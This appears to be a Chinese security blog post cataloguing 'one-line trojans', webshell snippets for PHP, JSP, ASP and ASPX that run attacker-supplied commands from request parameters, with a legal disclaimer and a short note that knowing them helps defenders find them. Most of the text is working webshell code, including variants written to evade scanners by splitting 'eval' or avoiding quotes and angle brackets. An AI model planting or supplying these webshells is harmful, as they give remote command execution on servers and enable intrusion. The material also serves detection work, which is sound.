网络安全-一句话木马

声明

遵纪守法

请严格遵守网络安全法相关条例!

此分享主要用于交流学习,请勿用于非法用途,一切后果自付。

一切未经授权的网络攻击均为违法行为,互联网非法外之地。

反制

大家在知道了常规一句话的木马之后,就可以通过关键字或者更高级的方式来查看服务器是否存在木马。不知攻、焉知防。

最经典的 php一句话

java 复制代码
<?php eval(@$_POST['cmd']); ?>

php7中此命令是不行的,可以拼接命令绕过。这也显示了攻防的对抗和进化。

java 复制代码
<?php 
	$p = $_POST['cmd'];
	@eval($p);
?>

jsp一句话:

java 复制代码
  <%
    Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
//    System.out.println(process);
    InputStream inputStream = process.getInputStream();
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
    String line;
    while ((line = bufferedReader.readLine()) != null){
      response.getWriter().println(line);
    }
  %>

images

java 复制代码
<!--#include file="images\1.jpg" -->

<%eval request("3")%>

<%execute request("3")%>

<%execute(request("3"))%>

<%If Request("3")<>"" Then Execute(Request("3"))%>

<%if request ("3")<>""then session("3")=request("3"):end if:if session("3")<>"" then execute session

("3")%>

<SCRIPT language=VBScript runat="server">execute request("3")</SCRIPT>

<%@ Page Language="Jscript"%>

<%eval(Request.Item["3"],"unsafe");%>

asp一句话

java 复制代码
<%execute(request("3"))%>

aspx一句话

java 复制代码
<script language="C#" runat="server">
WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10");
</script>

可以躲过雷客图的一句话。

java 复制代码
<%
set ms = server.CreateObject("MSScriptControl.ScriptControl.1")
ms.Language="VBScript"
ms.AddObject "Response", Response
ms.AddObject "request", request
ms.ExecuteStatement("ev"&"al(request(""1""))")
%>

不用'<,>'的asp一句话

java 复制代码
<script language=VBScript runat=server>execute request("1")</script>

不用双引号的一句话。

java 复制代码
<%eval request(chr(35))%>

参考:

lcx.cc

相关推荐
xx155802862xx10 分钟前
Python如何给视频添加音频和字幕
java·python·音视频
newxtc25 分钟前
【JJ斗地主-注册安全分析报告】
开发语言·javascript·人工智能·安全
2501_9151063228 分钟前
iOS性能调优实战:借助克魔(KeyMob)与常用工具深度洞察App瓶颈
websocket·网络协议·tcp/ip·http·网络安全·https·udp
jllllyuz33 分钟前
如何为服务器生成TLS证书
运维·服务器·数据库
小猫咪怎么会有坏心思呢41 分钟前
华为OD机试-最短木板长度-二分法(A卷,100分)
java·开发语言·华为od
简朴-ocean43 分钟前
如何删除linux空的文件夹
linux·运维·服务器
Code Warrior1 小时前
【Linux】Linux基础指令3
linux·服务器
hymuuuu1 小时前
【最新案例】智能物料称重柜/生鲜称重售卖柜系统, 共享自助管理系统, 物联网应用定制开发
java
编程绿豆侠2 小时前
力扣HOT100之栈:394. 字符串解码
java·算法·leetcode
hstar95272 小时前
三十四、面向对象底层逻辑-SpringMVC九大组件之FlashMapManager接口设计哲学
java·spring·设计模式·架构